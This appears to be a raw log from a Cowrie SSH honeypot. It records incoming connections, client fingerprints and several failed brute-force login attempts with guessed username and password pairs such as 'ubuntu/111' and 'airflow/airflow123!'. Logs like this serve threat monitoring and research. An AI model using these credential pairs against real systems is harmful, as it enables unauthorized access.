{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:10.824684Z","src_ip":"2.57.122.208","session":"adf895c1fbae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:11.213124Z","src_ip":"2.57.122.208","session":"adf895c1fbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:12.325108Z","src_ip":"2.57.122.208","session":"adf895c1fbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":26450,"dst_ip":"10.17.0.5","dst_port":22,"session":"121c1af330d2","protocol":"ssh","message":"New connection: 152.32.129.186:26450 (10.17.0.5:22) [session: 121c1af330d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:26.033705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:26.038520Z","src_ip":"152.32.129.186","session":"121c1af330d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:26.252975Z","src_ip":"152.32.129.186","session":"121c1af330d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cris","password":"12345","message":"login attempt [cris/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:27.143795Z","src_ip":"152.32.129.186","session":"121c1af330d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:28.359815Z","src_ip":"152.32.129.186","session":"121c1af330d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47170,"dst_ip":"10.17.0.5","dst_port":22,"session":"0867da49e8e3","protocol":"ssh","message":"New connection: 162.120.6.20:47170 (10.17.0.5:22) [session: 0867da49e8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.182454Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.251724Z","src_ip":"162.120.6.20","session":"0867da49e8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47176,"dst_ip":"10.17.0.5","dst_port":22,"session":"af08f075c2b6","protocol":"ssh","message":"New connection: 162.120.6.20:47176 (10.17.0.5:22) [session: af08f075c2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.320770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.325415Z","src_ip":"162.120.6.20","session":"af08f075c2b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.395195Z","src_ip":"162.120.6.20","session":"af08f075c2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"111","message":"login attempt [ubuntu/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:32.605452Z","src_ip":"162.120.6.20","session":"af08f075c2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:40:33.677571Z","src_ip":"162.120.6.20","session":"af08f075c2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":46254,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba125e6165a6","protocol":"ssh","message":"New connection: 103.59.94.117:46254 (159.203.135.109:22) [session: ba125e6165a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:16.974380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:16.978035Z","src_ip":"103.59.94.117","session":"ba125e6165a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:17.219834Z","src_ip":"103.59.94.117","session":"ba125e6165a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow123!","message":"login attempt [airflow/airflow123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:18.226762Z","src_ip":"103.59.94.117","session":"ba125e6165a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:19.498777Z","src_ip":"103.59.94.117","session":"ba125e6165a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":60100,"dst_ip":"159.203.135.109","dst_port":22,"session":"18badbd83a98","protocol":"ssh","message":"New connection: 34.81.72.185:60100 (159.203.135.109:22) [session: 18badbd83a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:19.606529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:19.611173Z","src_ip":"34.81.72.185","session":"18badbd83a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:19.801679Z","src_ip":"34.81.72.185","session":"18badbd83a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hugo","password":"hugo123","message":"login attempt [hugo/hugo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:20.596210Z","src_ip":"34.81.72.185","session":"18badbd83a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:21.789138Z","src_ip":"34.81.72.185","session":"18badbd83a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":39886,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e2da4ae564","protocol":"ssh","message":"New connection: 142.93.139.168:39886 (10.17.0.5:22) [session: c8e2da4ae564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:26.658834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:26.663517Z","src_ip":"142.93.139.168","session":"c8e2da4ae564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:26.737466Z","src_ip":"142.93.139.168","session":"c8e2da4ae564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seedround","password":"seedround!","message":"login attempt [seedround/seedround!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:26.886712Z","src_ip":"142.93.139.168","session":"c8e2da4ae564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:27.962950Z","src_ip":"142.93.139.168","session":"c8e2da4ae564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":48220,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd2f5c908c9","protocol":"ssh","message":"New connection: 64.227.144.233:48220 (10.17.0.5:22) [session: 7cd2f5c908c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:28.709812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:28.714504Z","src_ip":"64.227.144.233","session":"7cd2f5c908c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:28.936632Z","src_ip":"64.227.144.233","session":"7cd2f5c908c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam@","message":"login attempt [sam/sam@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:29.381817Z","src_ip":"64.227.144.233","session":"7cd2f5c908c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:30.604713Z","src_ip":"64.227.144.233","session":"7cd2f5c908c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":46102,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f96cd116a85","protocol":"ssh","message":"New connection: 45.134.9.27:46102 (159.203.135.109:22) [session: 5f96cd116a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:38.592827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:38.598527Z","src_ip":"45.134.9.27","session":"5f96cd116a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:38.663424Z","src_ip":"45.134.9.27","session":"5f96cd116a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"myftp123!","message":"login attempt [myftp/myftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:38.954192Z","src_ip":"45.134.9.27","session":"5f96cd116a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:41:40.021876Z","src_ip":"45.134.9.27","session":"5f96cd116a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":51506,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9ba444bfc8","protocol":"ssh","message":"New connection: 152.32.129.186:51506 (10.17.0.5:22) [session: 6a9ba444bfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:14.898670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:14.903213Z","src_ip":"152.32.129.186","session":"6a9ba444bfc8","protocol":"ssh"}
